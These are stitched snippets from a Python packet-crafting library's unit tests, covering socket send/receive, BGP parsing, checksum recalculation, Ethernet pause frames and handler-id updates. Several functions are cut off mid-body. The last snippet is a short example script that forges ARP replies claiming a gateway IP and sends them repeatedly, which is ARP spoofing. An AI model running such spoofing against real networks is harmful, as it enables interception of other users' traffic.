Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def test_socket(self):
print_header("Sockets")
packet_eth = ethernet.Ethernet() + ip.IP(src_s="192.168.178.27", dst_s="173.194.113.183") + tcp.TCP(
dport=80)
packet_ip = ip.IP(src_s="192.168.178.27", dst_s="173.194.113.183") + tcp.TCP(dport=80)
# Layer 2 Socket
socket = SocketHndl(iface_name="eth1", mode=SocketHndl.MODE_LAYER_2)
# socket.send(packet_eth.bin())
packets = socket.sr(packet_eth)
for p in packets:
print(">>> %s" % p)
socket.close()
# Layer 3 Socket
socket = SocketHndl(iface_name="eth1", mode=SocketHndl.MODE_LAYER_3)
# socket.send(packet_ip.bin())
packets = socket.sr(packet_ip)
for p in packets:
def test_bgp(self):
print_header("BGP")
packet_bytes = get_pcap("tests/packets_bgp.pcap")
# parsing
bgp1_bytes = packet_bytes[0]
bgp1 = ethernet.Ethernet(bgp1_bytes)
bgp2_bytes = packet_bytes[1]
bgp2 = ethernet.Ethernet(bgp2_bytes)
bgp3_bytes = packet_bytes[2]
bgp3 = ethernet.Ethernet(bgp3_bytes)
self.assertEqual(bgp1.bin(), bgp1_bytes)
self.assertEqual(bgp2.bin(), bgp2_bytes)
self.assertEqual(bgp3.bin(), bgp3_bytes)
def test_dissectfail(self):
print_header("Dissectfail")
tcp_bytes_fail = b"\x00" * 16
pkt1 = ethernet.Ethernet() + ip.IP() + tcp_bytes_fail
pkt1_bts = pkt1.bin()
self.assertTrue(pkt1_bts.endswith(tcp_bytes_fail))
pkt1 = ethernet.Ethernet(pkt1_bts)
pkt_tcp = pkt1.upper_layer.upper_layer
print("TCP for dissectfail #1: %r" % pkt_tcp)
self.assertIsNone(pkt_tcp)
pkt1 = ethernet.Ethernet(pkt1_bts)
pkt_tcp = pkt1.ip.tcp
print("TCP for dissectfail #2: %r" % pkt_tcp)
self.assertIsNone(pkt_tcp)
# retrieving body type on failed dissect only works 1st time (returns None)
# 2nd time raises Exception
# pkt_tcp = pkt1.ip.tcp
self.assertRaises(Exception, lambda: pkt1.ip.tcp)
def test_repr(self):
# TODO: activate
print_header("__repr__")
bts_list = get_pcap("tests/packets_ssl.pcap")
for bts in bts_list:
eth = ethernet.Ethernet(bts)
print("%r" % eth)
eth1 = ethernet.Ethernet(bts)
eth1[tcp.TCP].body_bytes = b"qwertz"
eth1.bin()
tcp_sum_original = eth1[tcp.TCP].sum
eth1[tcp.TCP].body_bytes = b"asdfgh"
# ip checksum should be recalculated
tmp = "%r" % eth1
self.assertNotEqual(tcp_sum_original, eth1[tcp.TCP].sum)
# original checksum value should be calculated
eth1[tcp.TCP].body_bytes = b"qwertz"
tmp = "%r" % eth1
self.assertEqual(tcp_sum_original, eth1[tcp.TCP].sum)
print_header("Keyword creation")
eth = ethernet.Ethernet()
# print(str(eth))
self.assertEqual(eth.bin(), b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x08\x00")
eth = ethernet.Ethernet(dst=b"\x00\x01\x02\x03\x04\x05", src=b"\x06\x07\x08\x09\x0A\x0B", type=2048)
print(str(eth))
print(eth.bin())
self.assertEqual(eth.bin(), b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x08\x00")
# test packet creation (default, keyword, bytes + keyword)
bts = get_pcap("tests/packets_ether.pcap")[0]
eth = ethernet.Ethernet()
self.assertEqual(eth.src_s, "FF:FF:FF:FF:FF:FF")
eth = ethernet.Ethernet(src=b"\xAA\xAA\xAA\xAA\xAA\xAA")
self.assertEqual(eth.src_s, "AA:AA:AA:AA:AA:AA")
eth = ethernet.Ethernet(dst=b"\xAA\xAA\xAA\xAA\xAA\xAA")
self.assertEqual(eth.dst_s, "AA:AA:AA:AA:AA:AA")
def test_pause(self):
print_header("FLOW CONTROL PAUSE")
# Pause frame
raw_pkt = b"\x01\x80\xc2\x00\x00\x01\x00\x00\x00\x00\x00\xaa\x88\x08\x00\x01\x00\x03"
pkt = ethernet.Ethernet(raw_pkt)
# parsing
self.assertEqual(pkt.bin(), raw_pkt)
self.assertEqual(pkt.dst_s, "01:80:C2:00:00:01")
self.assertEqual(pkt[flow_control.FlowControl].opcode, flow_control.PAUSE_OPCODE)
self.assertEqual(type(pkt[flow_control.FlowControl].pause).__name__, "Pause")
self.assertEqual(pkt[flow_control.FlowControl].pause.ptime, 3)
def test_len(self):
print_header("Length")
bts_list = get_pcap("tests/packets_ssl.pcap")
for bts in bts_list:
eth = ethernet.Ethernet(bts)
print("%d = %d" % (len(bts), len(eth)))
self.assertEqual(len(bts), len(eth))
def test_handlerid_update(self):
print_header("Auto update of handler id")
# auto type-id setting for Ethernet
print("Ethernet...")
eth_1 = ethernet.Ethernet(type=0)
ip_1 = ip.IP()
pkt = eth_1 + ip_1
self.assertEqual(pkt.type, 0)
pkt.bin()
self.assertEqual(pkt.type, ethernet.ETH_TYPE_IP)
# auto type-id setting for IP
print("IP...")
ip_2 = ip.IP(p=0)
tcp_2 = tcp.TCP()
pkt = ip_2 + tcp_2
self.assertEqual(pkt.p, 0)
pkt.bin()
self.assertEqual(pkt.p, ip.IP_PROTO_TCP)
# auto type-id setting for TCP
import time
# interface to listen on
IFACE = "wlan0"
# our real MAC
MAC_SRC = "00:11:22:33:44:55"
# IP to be spoofed
IP_SRC = "192.168.178.1"
# destination address
MAC_DST = "00:11:22:33:44:56"
IP_DST = "192.168.178.27"
#
# spoof ARP response
#
arp_spoof = ethernet.Ethernet(dst_s=MAC_DST, src_s=MAC_SRC, type=ethernet.ETH_TYPE_ARP) +\
arp.ARP(sha_s=MAC_SRC, spa_s=IP_SRC, tha_s=MAC_DST, tpa_s=IP_DST, op=arp.ARP_OP_REPLY)
psock = psocket.SocketHndl(iface_name=IFACE, timeout=600)
for a in range(10):
print("sending ARP response")
psock.send(arp_spoof.bin())
time.sleep(1)
psock.close()